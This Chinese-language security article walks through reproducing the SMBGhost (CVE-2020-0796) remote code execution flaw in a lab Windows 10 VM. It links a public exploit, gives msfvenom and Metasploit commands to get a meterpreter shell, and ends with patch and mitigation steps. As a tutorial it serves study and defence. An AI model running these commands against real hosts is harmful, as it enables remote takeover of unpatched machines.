标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2708] 作者: hudie 发表于: [2020-06-30]
本文共 [590] 位读者顶过
0X00漏洞简介
[出自:jiwo.org] Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品,Microsoft Windows是一套个人设备使用的操作系统,Microsoft Windows Server是一套服务器操作系统,Server Message Block是其中的一个服务器信息传输协议。
微软公布了在Server Message Block 3.0(SMBv3)中发现的“蠕虫型”预授权远程代码执行漏洞。
0X01漏洞概述
(CVE-2020-0796 SMBGhost)该漏洞是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的,它可让远程且未经身份验证的攻击者在目标系统上执行任意代码。
0X02影响版本
适用于32位系统的Windows 10版本1903 Windows 10 1903版(用于基于x64的系统) Windows 10 1903版(用于基于ARM64的系统) Windows Server 1903版(服务器核心安装) 适用于32位系统的Windows 10版本1909 Windows 10版本1909(用于基于x64的系统) Windows 10 1909版(用于基于ARM64的系统) Windows Server版本1909(服务器核心安装)
0X03环境搭建
可在虚拟机中搭建win10系统来进行复现。(这里注意,搭建完之后一定要关闭系统自动更新选项)
0X04漏洞检测
漏洞检测脚本有很多这里简单分享俩个。 gitHub检测工具: https://github.com/ollypwn/SMBGhost 某信cert检测工具私聊可获取。 某检测工具演示:
p地址为win10地址,本地测试是需关闭win10防火墙成可ping通状态。
0X05漏洞复现
最近刚刚爆出了rce 的exp所以赶紧复现一手。 Exp地址: https://github.com/chompie1337/SMBGhost_RCE_PoC 该exp使用环境为python3 下载完成后将该exp放到kaili虚拟机中 启动msf 使用msf生成shellcode msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt 执行该命令后会在桌面生成一个shellcode.txt 将生成的shellcode替换exp中的exploit.py中的USER_PAYLOAD保存即可。
使用kaili中的msf开启监听 msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp #设置反弹模式 msf5 exploit(multi/handler) > set rhost 192.168.31.137 #设置目标靶机IP地址 msf5 exploit(multi/handler) > set lport 3333 #设置监听端口 msf5 exploit(multi/handler) > exploit 在kail中进入exp文件夹,执行exp文件 python3 exploit.py ?ip 1.1.1.1 即可看到msf中收到了回显成功连接。
如复现没有成功可能的原因有: 1.msf监听端口被占用 2.windows10设置自动更新已自动打补丁 3.shellcode未替换正确 4.exp端口和msf监听端口不一致
0X06漏洞修复
1.目前厂商已发布升级补丁以修复漏洞,补丁获取链接: https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796
2.或者你可以使用以下PowerShell命令禁用SMBv3服务的压缩(无需重新启动): Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 –Force。 |